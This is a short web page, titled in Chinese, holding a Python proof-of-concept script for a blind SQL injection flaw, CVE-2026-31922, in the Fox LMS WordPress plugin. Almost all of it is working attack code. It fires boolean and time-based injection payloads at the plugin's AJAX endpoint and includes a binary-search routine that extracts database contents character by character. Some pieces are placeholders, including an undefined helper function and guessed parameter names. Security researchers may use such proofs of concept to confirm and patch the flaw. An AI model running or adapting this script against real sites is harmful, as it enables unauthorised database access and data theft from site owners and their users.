CVE-2026-31922 Fox LMS插件SQL注入漏洞

# CVE-2026-31922 Fox LMS Blind SQL Injection PoC # Target: WordPress site with Fox LMS plugin <= 1.0.6.3 import requests import time target_url = "http://target-site.com/wp-admin/admin-ajax.php" # Blind SQL Injection payload to extract database version def test_sql_injection(url): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/x-www-form-urlencoded" } # Base payload - adjust the parameter and endpoint based on enumeration # Example: Testing with a vulnerable parameter like 'lesson_id' or 'course_id' # Boolean-based blind SQL injection true_payload = "1' AND 1=1 -- -" false_payload = "1' AND 1=2 -- -" # Time-based blind SQL injection time_payload = "1' AND SLEEP(5) -- -" # Database version extraction using SUBSTRING and ASCII # Example: Extract first character of database version db_version_payload = "1' AND ASCII(SUBSTRING((SELECT database()),1,1))>64 -- -" print("[*] Testing SQL Injection vulnerability...") print(f"[*] Target: {url}") # Test with time-based injection start_time = time.time() data = { "action": "fox_get_lesson", # Example action - enumerate actual endpoints "lesson_id": time_payload } try: response = requests.post(url, data=data, headers=headers, timeout=30) elapsed = time.time() - start_time if elapsed >= 5: print("[+] Time-based SQL injection confirmed!") print(f"[+] Response time: {elapsed:.2f} seconds") return True else: print("[-] No time delay detected, trying boolean-based method...") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Binary search for character extraction def extract_data(url, query, position): """Extract data using binary search algorithm""" low, high = 32, 126 while low <= high: mid = (low + high) // 2 payload = f"1' AND ASCII(SUBSTRING(({query}),{position},1))>{mid} -- -" # Send request and check response # Implementation depends on vulnerable endpoint if check_condition(url, payload): low = mid + 1 else: high = mid - 1 return chr(high) if high >= 32 else None if __name__ == "__main__": test_sql_injection(target_url)